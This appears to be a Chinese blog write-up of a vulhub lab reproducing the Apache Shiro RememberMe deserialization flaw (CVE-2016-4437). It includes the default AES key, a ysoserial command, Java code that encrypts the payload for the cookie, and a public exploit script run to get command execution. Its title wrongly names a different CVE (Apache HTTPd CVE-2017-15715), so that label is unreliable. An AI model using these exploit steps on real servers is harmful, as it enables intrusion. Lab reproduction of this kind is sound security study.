Apache HTTPd换行解析漏洞复现CVE-2017-15715

发布于 2023-08-08  441 次阅读


前置知识

  • 首先是环境配置,cd到CVE-2016-4437目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下
find ./ -name *CVE-2016*
docker-compose up -d
docker ps

  • Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。它独立于任何容器或框架,所以可以搭配别的组件使用,包括以下功能
身份验证(Authentication):Shiro 可以处理用户身份验证,包括用户名/密码验证、多因素身份验证、记住我功能等。它
支持灵活的身份验证方式,并提供了可插拔的身份验证机制,使开发人员能够适应各种身份验证需求。

授权(Authorization):Shiro 具有细粒度的授权机制,允许开发人员定义角色和权限,并在应用程序中对用户进行授权操
作。通过简单的注解或编程方式,开发人员可以轻松地控制用户对资源的访问权限。

会话管理(Session Management):Shiro 管理用户会话,包括会话的创建、销毁、过期和检索等。它提供了灵活的会话存
储机制,并支持集中式和分布式环境下的会话管理。

密码加密(Cryptography):Shiro 可以帮助开发人员安全地处理用户密码,提供了常用的加密算法和密码哈希功能。这有助
于保护用户密码,并提供额外的安全性。

Web 支持:Shiro 针对 Web 应用程序提供了特定的支持,包括集成框架(如 Apache Struts 和 Spring MVC)、基于过滤
器的安全控制、Web 会话管理等。这使得在 Web 环境中使用 Shiro 更加方便和高效。
  • 在 Apache Shiro 1.2.4 及其之前的版本中,默认的 RememberMe 功能使用了一个称为 DefaultRememberMeManager 的组件来处理用户信息的加密和存储。这个组件使用了基于 Java 序列化的方式对用户信息进行加密,并将加密后的数据存储在名为 "remember-me" 的 Cookie 中。

  • 具体来说,DefaultRememberMeManager 使用了 Java 的序列化机制,将用户信息对象序列化为字节数组。然后,它使用一个内部的 Cipher 对象(通常是 AES 算法)使用特定的密钥对序列化后的字节数组进行加密。加密后的数据会被转换为 Base64 字符串,并将该字符串存储在 "remember-me" 的 Cookie 中。在用户下次访问应用程序时,Cookie 中的加密数据会被解密,并转换回原始的用户信息对象。

  • 需要注意的是,由于使用了 Java 序列化和基于 Cookie 的存储方式,这种加密方式被认为不够安全,容易受到攻击。因此,自 Apache Shiro 1.2.5 版本开始,推荐使用更安全的 TokenBasedRememberMeManager 替代 DefaultRememberMeManager,可以选择使用更安全的加密算法和存储方式,如 HMAC-SHA256 或 AES/CBC/PKCS5Padding,并使用更复杂的密钥来提高安全性。

  • Shiro 的默认密钥是用于加密和解密敏感数据的密钥,通常称为 "encryption key" 或 "secret key"。默认情况下,Shiro 使用一个内置的默认密钥来执行加密操作。一般来说,建议将默认密钥更改为自定义的安全密钥,以提高应用程序的安全性。这是因为默认密钥是公开的,可能容易受到攻击或破解。

  • 默认情况下,Shiro 使用的是一个硬编码的默认密钥值:kPH+bIxk5D2deZiIxcaaaA==这个密钥值被存储在 Shiro 的源代码中,要更改 Shiro 的默认密钥,可以通过以下步骤:

1. 在你的应用程序中找到 Shiro 的配置文件,通常是 shiro.ini 或 shiro.properties 文件。
2. 在配置文件中找到与密钥相关的参数,通常是 "encryptionKey"、"cipherKey" 或类似的设置。
3. 将默认密钥值替换为你自己的安全密钥。确保使用足够强度的随机字符串作为密钥,且长度适合所使用的加密算法。
4. 保存并重新启动你的应用程序,以使新的密钥生效。
  • 请注意,更改密钥后,你需要确保应用程序的其他部分(如加密用户密码的存储方式)也与密钥更改保持一致。否则,可能会导致无法正确解密现有数据或出现其他安全问题。

  • 所以,漏洞利用要求Apache Shiro的版本在1.2.4及以前

漏洞复现

  • 首先得访问一下服务,docker可以看到是开在8080端口的,访问一下

  • 有两种打法,一种是使用前面提到的java反序列化工具ysoserial生成CommonsBeanutils1的Gadget

  • Gadget 是指在 Java 序列化漏洞利用中使用的特定类或对象。攻击者可以构造特定的序列化数据,通过利用目标应用程序中的反序列化过程中的漏洞,触发 Gadget 的执行从而执行恶意代码。Gadget 通常是由一系列利用链构成的,其中一个 Gadget 可能依赖于另一个 Gadget 的执行结果。Gadget 的目的是利用目标系统中存在的弱点,例如不安全的反序列化实现,最终达到远程代码执行的目的。

  • CommonsBeanutils1是Apache Commons Beanutils 库的一个旧版本,其中存在一个已知的 Java 序列化漏洞。该漏洞可以被恶意利用来执行远程代码,可能导致远程代码执行漏洞(Remote Code Execution Vulnerability)

  • 这个漏洞的本质就是1.2.4及以前版本的shiro的RememberMe功能存在rce可以执行反序列化漏洞,并且这个功能使用了具有反序列化漏洞的CommonsBeanutils1,可以使用CommonsBeanutils1的链子来触发反序列化攻击

  • 生成链子

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "想要执行的命令" > poc.ser
  • 如果用户没有改rememberme的加密密钥的话,可以使用默认公钥对生成的链子加密
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
  • 最后将加密后的链子丢给cookie的rememberme字段,这个链子就会被默认密钥解密,然后被反序列化触发了

  • 这个方法的缺点是java没有相关的库就很麻烦,第二种打法是直接那现成的脚本打https://github.com/insightglacier/Shiro_exploit,脚本的运行环境是py2.7,所以最好丢kali上面跑,kali自带了python2

  • 使用方法如下(我的环境python2的命令是python2,python3的命令是python,得看自己的环境的py的命令是什么)

python2 shiro_exploit.py -t 3 -u http://192.168.1.103:8080 -p "你想执行的命令"

  • 如果和我一样报错No module named Crypto.Cipher,可能是这个库没装或者版本不对,需要装一下这个库,但是不能直接pip,因为kali上面有两个版本的python,那么理论上pip也有两个版本的,如果没选择就可能装给python3了
  • 先查看一下python2有没有pip,一般kali的python2默认不自带pip
python2 -m pip --version

  • 比如我的环境下py2没有pip,就得安一个pip模块,到这个网站https://bootstrap.pypa.io/找到自己版本python的get-pip.py的网址,然后在linux上面下载并安装(前几天才看到个有趣的事,get_pip系列脚本是把pip的代码base64编码,getpip就是把编码解码,结果自己就遇到了🤣)
wget 你的网址
python2 get-pip.py

  • 然后再看看python2有没有pip
python2 -m pip --version

  • 然后就要使用python2的pip安装模块了,当然不是pip2.模板如下,这样就能用python的版本控制对应的pip
python2 -m pip 你的pip命令
  • 然后把旧库删掉,新库装上
python2 -m pip uninstall crypto pycryptodome
python2 -m pip install pycryptodome

  • 先检测是否存在漏洞,在/tmp/目录生成一个miao文件看看
python2 shiro_exploit.py -t 3 -u http://192.168.1.103:8080 -p "touch /tmp/miao"

  • 然后连上容器的shell看看有没有,可以看到生成了miao文件,实现rce
docker exec -i eaf7bd37e524 /bin/bash
ls /tmp/

届ける言葉を今は育ててる
最后更新于 2024-02-07